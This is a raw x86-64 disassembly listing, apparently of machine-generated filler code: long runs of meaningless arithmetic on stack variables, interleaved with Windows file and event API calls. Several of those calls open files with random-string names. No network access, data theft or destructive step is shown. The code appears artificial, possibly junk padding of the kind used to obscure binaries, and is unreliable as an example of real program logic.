mov rcx, qword [rsp + 0x4bd8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3460], eax
mov rax, qword [rsp + 0x790]
mov rcx, qword [rsp + 0x3a00]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2008], rax
lea rax, [rsp + 0x1b88]
mov qword [rsp + 0x51f8], rax
mov rax, qword [rsp + 0x38d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x988]
add eax, dword [rcx]
mov dword [rsp + 0x798], eax
mov rax, qword [rsp + 0x24a0]
movzx eax, byte [rax]
mov byte [rsp + 0x1d59], al
mov rax, qword [rsp + 0x14b0]
movzx eax, word [rax]
movzx ecx, word [0x1400fd6b8]
and eax, ecx
mov word [rsp + 0xbe0], ax
mov rax, qword [rsp + 0x30b0]
mov rcx, qword [rsp + 0xca0]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x1400fd2b0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x91]
movzx ecx, byte [rsp + 0x138]
sub eax, ecx
mov byte [rsp + 0xf8], al
mov rcx, qword [rsp + 0x2618]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0x8c83
mov rcx, qword [rsp + 0x3f30]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x197c], eax
mov eax, dword [rsp + 0x1380]
imul eax, dword [rsp + 0x119c]
mov dword [rsp + 0x2694], eax
movsx eax, word [rsp + 0xc18]
mov rcx, qword [rsp + 0x3098]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x8ac], ax
mov rax, qword [0x1400fd1a0]
movzx eax, word [rax]
mov word [rsp + 0x8bc], ax
movsx eax, byte [rsp + 0xf6]
movsx ecx, byte [rsp + 0x2d2]
or eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov byte [rcx], al
mov eax, dword [rsp + 0x640]
mov rcx, qword [rsp + 0x7f0]
mov qword [rsp + 0x4be0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4be0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1abc], eax
lea rax, [0x1400fd3c0]
mov qword [rsp + 0x37a0], rax
mov rax, qword [rsp + 0x1fc8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc80]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x140], ax
lea rax, [rsp + 0x384]
mov qword [0x1400fd7a8], rax
mov rax, qword [rsp + 0x2a58]
mov rax, qword [rax]
mov qword [rsp + 0x3010], rax
mov rax, qword [rsp + 0x1460]
mov rcx, qword [rsp + 0x1540]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x16f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1ba8]
add rax, qword [rcx]
mov qword [rsp + 0x2ca0], rax
mov rax, qword [rsp + 0x2e40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1488]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xab8], ax
mov rax, qword [rsp + 0x3858]
mov ecx, dword [rsp + 0xbbc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1128], eax
lea rax, [rsp + 0x2c18]
mov qword [rsp + 0x3c18], rax
movsx eax, byte [0x1400fd132]
movsx ecx, byte [rsp + 0x10b]
sar eax, cl
mov byte [rsp + 0x1bc], al
lea rax, [rsp + 0x10e0]
mov qword [rsp + 0x5530], rax
mov rax, qword [rsp + 0x1b80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x25c8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x172], al
movsx eax, word [0x1400fc4ec]
movsx ecx, word [rsp + 0x6bc]
add eax, ecx
mov rcx, qword [0x1400fd700]
mov word [rcx], ax
mov rcx, qword [rsp + 0x11e0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x26c8], eax
movzx eax, word [rsp + 0x8c0]
movzx ecx, word [rsp + 0x148]
sub eax, ecx
mov word [rsp + 0xc3c], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1cca
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10cc], eax
mov rax, qword [rsp + 0x1288]
movzx eax, word [rax]
mov word [rsp + 0x2014], ax
mov rax, qword [rsp + 0x11d0]
mov rcx, qword [0x1400fd258]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc58], rax
mov rax, qword [rsp + 0x31f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1b88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2920], rax
mov rax, qword [rsp + 0x19d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1120]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1124], eax
mov rax, qword [rsp + 0x2ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x405]
shl eax, cl
mov byte [rsp + 0xf6], al
mov rax, qword [rsp + 0x1328]
movzx eax, word [rax]
mov word [rsp + 0x201c], ax
mov rax, qword [rsp + 0x1148]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb30]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x4e4], ax
mov rax, qword [rsp + 0x1250]
mov rax, qword [rax]
mov qword [0x1400fd7b0], rax
mov rcx, qword [rsp + 0x1ce0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1f00]
movzx eax, word [rax]
mov word [rsp + 0x1584], ax
mov rax, qword [0x1400fd600]
mov rcx, qword [rsp + 0x1880]
mov qword [rsp + 0x4be8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4be8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3868], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xb8fa
mov rcx, qword [rsp + 0x2a30]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x360c], eax
mov rax, qword [rsp + 0x28a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1460]
add rax, qword [rcx]
mov qword [rsp + 0x3f08], rax
movsx eax, byte [rsp + 0x3ff]
mov rcx, qword [rsp + 0x1938]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x10c], al
mov eax, dword [rsp + 0x21d8]
mov ecx, dword [0x1400fd214]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xdfc], eax
lea rax, [rsp + 0x156]
mov qword [rsp + 0x2480], rax
mov eax, dword [rsp + 0x1380]
cdq
mov ecx, 0xef1e2b
idiv ecx
mov dword [rsp + 0xacc], eax
mov rax, qword [0x1400fd5c0]
mov rax, qword [rax]
mov qword [rsp + 0x5358], rax
mov rax, qword [rsp + 0x2660]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x36e8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1400fd558]
mov word [rcx], ax
mov rax, qword [rsp + 0x1698]
movsx eax, word [rax]
movsx ecx, word [0x1400fd130]
and eax, ecx
mov rcx, qword [rsp + 0x28a8]
mov word [rcx], ax
movzx eax, word [rsp + 0x70]
mov rcx, qword [rsp + 0xd88]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x1168]
mov word [rcx], ax
lea rax, [rsp + 0x700]
mov qword [rsp + 0x3ed0], rax
mov rax, qword [rsp + 0x2920]
mov rcx, qword [rsp + 0x1170]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1348], rax
mov rax, qword [rsp + 0xd60]
mov ecx, dword [rsp + 0x110c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2684], eax
movsx eax, byte [rsp + 0x80]
movsx ecx, byte [rsp + 0x16f]
xor eax, ecx
mov rcx, qword [rsp + 0x1898]
mov byte [rcx], al
mov rcx, qword [rsp + 0x29c0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [0x1400fd1b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1488]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x860], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xdea1
mov rcx, qword [rsp + 0x3758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1aa0], eax
mov rax, qword [rsp + 0x1318]
movzx eax, word [rax]
mov word [rsp + 0xc2c], ax
lea rax, [rsp + 0x2b30]
mov qword [0x1400fd7b8], rax
mov rcx, qword [rsp + 0x2c50]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x3bf0]
mov rcx, qword [rsp + 0x1440]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x2a60]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.E8EK8Wh9JnFVbVTzdrhteAT9Mk8R1kohUR
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4cc0], rax
lea rax, [rsp + 0x38d8]
mov qword [rsp + 0x39b0], rax
mov rcx, qword [rsp + 0x16b0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xbb0], eax
mov rax, qword [rsp + 0x9b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x23a8]
mov qword [rsp + 0x4bf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4bf0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x2a90]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2e31
mov rcx, qword [rsp + 0x1940]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x33e4], eax
mov rax, qword [0x1400fd4e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1b58]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x5ec], ax
mov rcx, qword [rsp + 0xc60]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a8c], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa81
mov rcx, qword [rsp + 0x32a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7a8], eax
mov rax, qword [rsp + 0x2480]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10a]
sub eax, ecx
mov byte [rsp + 0x928], al
mov eax, dword [rsp + 0x10ec]
cdq
mov rcx, qword [0x1400fd138]
idiv dword [rcx]
mov rcx, qword [rsp + 0x9c8]
mov dword [rcx], eax
lea rax, [rsp + 0x11d8]
mov qword [rsp + 0x41e0], rax
mov rax, qword [rsp + 0x3f58]
mov ecx, dword [rsp + 0x111c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2734], eax
mov rax, qword [rsp + 0x2e68]
movsx eax, byte [rax]
mov rcx, qword [0x1400fd628]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1400fc39a], al
movzx eax, word [rsp + 0xd0]
mov word [rsp + 0x15e0], ax
mov rax, qword [rsp + 0x1eb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x21c]
add eax, ecx
mov rcx, qword [rsp + 0x3248]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3ae8], rax
movzx eax, word [rsp + 0x150]
mov rcx, qword [0x1400fd288]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x220], ax
mov rax, qword [rsp + 0x1000]
mov rax, qword [rax]
mov qword [rsp + 0x5538], rax
mov rax, qword [rsp + 0x2630]
mov ecx, dword [rsp + 0xc4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xca8]
mov dword [rcx], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x6988
mov rcx, qword [rsp + 0x3e20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13c8], eax
movsx eax, byte [0x1400fd135]
movsx ecx, byte [rsp + 0x11d]
and eax, ecx
mov byte [rsp + 0x919], al
mov rax, qword [rsp + 0x2958]
mov rcx, qword [rsp + 0x25a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x188]
mov qword [rcx], rax
movsx eax, word [rsp + 0x6e4]
movsx ecx, word [0x1400fc4d4]
shl eax, cl
mov rcx, qword [rsp + 0x2310]
mov word [rcx], ax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x59c]
xor eax, ecx
mov word [0x1400fc4b8], ax
mov rcx, qword [rsp + 0x1ec8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x27f8], eax
mov rax, qword [rsp + 0x2ad0]
mov rax, qword [rax]
mov qword [rsp + 0x3f40], rax
movzx eax, word [rsp + 0x59c]
movzx ecx, word [rsp + 0xe70]
sar eax, cl
mov rcx, qword [rsp + 0x3778]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.6iGdLFwgfdId
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5540], rax
lea rax, [rsp + 0x130]
mov qword [rsp + 0x4f90], rax
mov eax, dword [rsp + 0x21e8]
mov ecx, dword [rsp + 0x1a60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a74], eax
mov rax, qword [rsp + 0x3070]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1b00]
add eax, dword [rcx]
mov dword [rsp + 0x27fc], eax
movsx eax, byte [rsp + 0x3f3]
movsx ecx, byte [rsp + 0x157]
sub eax, ecx
mov byte [rsp + 0x920], al
mov rax, qword [rsp + 0x1af0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1d88]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x25b0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xf0]
mov word [rsp + 0x15d4], ax
mov rcx, qword [rsp + 0x1210]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9d8], eax
mov rax, qword [rsp + 0x1fd0]
movzx eax, word [rax]
mov word [0x1400fd7c0], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xa9e5
mov rcx, qword [rsp + 0x3878]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x99c], eax
mov rax, qword [rsp + 0x23a8]
mov rcx, qword [rsp + 0x1250]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x1d20]
mov qword [rcx], rax
lea rax, [0x1400fc4c0]
mov qword [rsp + 0x4f28], rax
movsx eax, word [rsp + 0x8ac]
movsx ecx, word [rsp + 0x168]
sar eax, cl
mov word [rsp + 0x38c], ax
mov rax, qword [rsp + 0x2bd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaac]
sub eax, ecx
mov rcx, qword [rsp + 0x1258]
mov word [rcx], ax
mov rax, qword [0x1400fd3e8]
mov qword [rsp + 0x5548], rax
movsx eax, byte [rsp + 0x15d]
movsx ecx, byte [rsp + 0x3ee]
add eax, ecx
mov rcx, qword [rsp + 0x1938]
mov byte [rcx], al
lea rax, [rsp + 0xbbc]
mov qword [rsp + 0x4130], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3348], rax
mov rax, qword [rsp + 0x2f18]
mov rcx, qword [rsp + 0x3938]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c08], rax
movsx eax, word [rsp + 0x444]
movsx ecx, word [rsp + 0xe94]
shl eax, cl
mov rcx, qword [0x1400fd448]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf18]
or eax, ecx
mov word [rsp + 0x6a4], ax
mov rax, qword [rsp + 0x1278]
mov eax, dword [rax]
add eax, dword [rsp + 0x9a8]
mov dword [rsp + 0x1a90], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x221b
mov rcx, qword [rsp + 0x1ee0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe18], eax
mov rax, qword [rsp + 0x1468]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c4]
sar eax, cl
mov byte [rsp + 0x131], al
mov rax, qword [rsp + 0x1020]
mov qword [rsp + 0x3a58], rax
mov rcx, qword [rsp + 0x28b0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4314], eax
movsx eax, byte [rsp + 0xe4e]
movsx ecx, byte [rsp + 0x16e]
sub eax, ecx
mov byte [rsp + 0x3fa], al
mov rax, qword [rsp + 0x1220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x19a0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1fc0]
mov qword [rcx], rax
lea rax, [0x1400fc49c]
mov qword [rsp + 0x3280], rax
movsx eax, word [rsp + 0xe74]
movsx ecx, word [rsp + 0x2214]
and eax, ecx
mov word [rsp + 0x6cc], ax
movzx eax, word [rsp + 0x940]
movzx ecx, word [rsp + 0x210]
add eax, ecx
mov rcx, qword [0x1400fd5d8]
mov word [rcx], ax
mov rax, qword [0x1400fd2b8]
mov rcx, qword [rsp + 0x22f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3020], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xe5bf
mov rcx, qword [rsp + 0x2000]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcec], eax
mov rcx, qword [rsp + 0x3af8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20f8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.T8q2VCylhPXzHd
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3b08], rax
movzx eax, word [rsp + 0x6a4]
movzx ecx, word [rsp + 0x5d8]
and eax, ecx
mov rcx, qword [rsp + 0x2c28]
mov word [rcx], ax
movsx eax, word [rsp + 0x350]
movsx ecx, word [rsp + 0x454]
sar eax, cl
mov rcx, qword [rsp + 0x24a8]
mov word [rcx], ax
lea rax, [rsp + 0xc58]
mov qword [rsp + 0x2dd8], rax
movsx eax, byte [rsp + 0x3fb]
mov rcx, qword [rsp + 0x508]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x25c0]
mov byte [rcx], al
lea rax, [0x1400fd3e8]
mov qword [rsp + 0x4d50], rax
mov eax, dword [rsp + 0x79c]
mov ecx, dword [rsp + 0xe04]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x630], eax
mov rcx, qword [rsp + 0x1b48]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x25f0]
movzx eax, word [rax]
mov word [rsp + 0x35f4], ax
lea rax, [rsp + 0x1060]
mov qword [0x1400fd7c8], rax
mov rax, qword [rsp + 0x1b80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54d]
shl eax, cl
mov byte [rsp + 0xfb], al
mov rax, qword [rsp + 0xc50]
mov eax, dword [rax]
add eax, dword [rsp + 0x2120]
mov dword [rsp + 0x8d0], eax
movzx eax, word [rsp + 0x4b8]
mov word [rsp + 0xea8], ax
movzx eax, word [rsp + 0xc2c]
movzx ecx, word [rsp + 0x150]
sub eax, ecx
mov word [rsp + 0xe68], ax
lea rax, [rsp + 0x330]
mov qword [rsp + 0x5550], rax
mov rax, qword [rsp + 0x2d20]
mov rcx, qword [rsp + 0x2600]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x31f0]
mov qword [rcx], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x5a31
mov rcx, qword [rsp + 0x4218]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x68c], eax
movsx eax, byte [rsp + 0x22f]
mov rcx, qword [rsp + 0xdc8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3e9], al
movsx eax, word [rsp + 0x1560]
mov rcx, qword [rsp + 0xa78]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf14], ax
movzx eax, word [0x1400fd780]
mov rcx, qword [rsp + 0x3318]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1400fd388]
mov word [rcx], ax
mov rax, qword [rsp + 0x29d8]
mov rcx, qword [rsp + 0x2a98]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x22b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1b30]
mov rax, qword [rax]
mov qword [rsp + 0x5558], rax
mov rax, qword [rsp + 0xb48]
mov rcx, qword [rsp + 0xf68]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1518], rax
mov rax, qword [rsp + 0x740]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4b8]
add eax, ecx
mov rcx, qword [rsp + 0x1b20]
mov word [rcx], ax
lea rax, [rsp + 0x2130]
mov qword [rsp + 0x2560], rax
mov rcx, qword [rsp + 0x2fd0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1840]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x238]
sar eax, cl
mov rcx, qword [rsp + 0x23b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x23b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2530]
mov qword [rsp + 0x4bf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4bf8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x31d0], rax
mov rax, qword [rsp + 0x2408]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3e40]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1bd], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.wvTh9okD0bItiIZdBLx8mf
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4000], rax
mov rax, qword [rsp + 0x1930]
mov rcx, qword [rsp + 0x3a08]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x168c], eax
mov rcx, qword [rsp + 0x4c00]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1690], eax
movsx eax, word [rsp + 0x5a8]
mov rcx, qword [rsp + 0xff8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1400fc548], ax
movzx eax, word [rsp + 0xed0]
mov word [rsp + 0x8c8], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x74fe
mov rcx, qword [rsp + 0x37b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x21dc], eax
mov rax, qword [rsp + 0x10a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa60]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1f00]
mov word [rcx], ax
lea rax, [rsp + 0x9c0]
mov qword [rsp + 0x32c0], rax
mov rax, qword [rsp + 0x1b00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xe1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1128], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5560], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x51e2
mov rcx, qword [rsp + 0x36f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x34ac], eax
mov rax, qword [rsp + 0x2db0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2ef8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x582], al
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x2f70]
mov rcx, qword [rsp + 0x1878]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2420], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.gUd2kHSJstsGJeUaF2MKTBSKbF1qo
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4040], rax
mov rax, qword [rsp + 0x7e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2930]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3728]
mov word [rcx], ax
mov rax, qword [rsp + 0x7d0]
movzx eax, word [rax]
mov word [rsp + 0x15e4], ax
mov rax, qword [rsp + 0x2dd8]
mov rax, qword [rax]
mov qword [0x1400fd7d0], rax
mov rcx, qword [rsp + 0x2f00]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [0x1400fd170]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xee4]
sub eax, ecx
mov word [rsp + 0x1564], ax
mov rax, qword [rsp + 0xb28]
mov rax, qword [rax]
mov qword [rsp + 0x3c08], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x769b
mov rcx, qword [rsp + 0x2000]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcfc], eax
mov rax, qword [rsp + 0x1700]
mov rcx, qword [rsp + 0x3780]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2a08], rax
mov eax, dword [rsp + 0x1388]
mov ecx, dword [0x1400fc46c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb90], eax
lea rax, [rsp + 0x61]
mov qword [rsp + 0x3c28], rax
mov rax, qword [rsp + 0x1758]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x139]
sub eax, ecx
mov byte [rsp + 0xf8], al
lea rax, [rsp + 0x2110]
mov qword [rsp + 0x5568], rax
mov rax, qword [rsp + 0x2250]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1f78]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3e28]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x23c0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x3098]
movsx eax, word [rax]
mov rcx, qword [0x1400fd448]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1400fc4d0], ax
mov rax, qword [rsp + 0x12d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x1438]
mov word [rcx], ax
movzx eax, word [rsp + 0xaa8]
movzx ecx, word [rsp + 0x564]
sar eax, cl
mov word [rsp + 0x890], ax
mov rax, qword [rsp + 0x1168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x23c8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xdd0]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.XfhmZjGCgM1AwC8
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5570], rax
mov eax, dword [rsp + 0xbbc]
mov dword [rsp + 0x21a0], eax
mov rax, qword [rsp + 0x3e30]
mov rcx, qword [rsp + 0x37d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1908]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1ff0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x913], al
movsx eax, word [rsp + 0xc1c]
mov rcx, qword [rsp + 0x2090]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf0], ax
mov rax, qword [0x1400fd388]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2a8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xeac], ax
mov rax, qword [rsp + 0xf68]
mov rcx, qword [rsp + 0x1858]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x1400fd708]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1cc8]
mov qword [rsp + 0x5578], rax
mov rcx, qword [rsp + 0x2478]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x13ec], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xb756
mov rcx, qword [rsp + 0x28e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbc8], eax
mov rax, qword [rsp + 0x7d8]
mov rcx, qword [rsp + 0x3208]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb40]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7c8]
mov rax, qword [rax]
mov qword [rsp + 0x4e40], rax
movzx eax, word [rsp + 0x210]
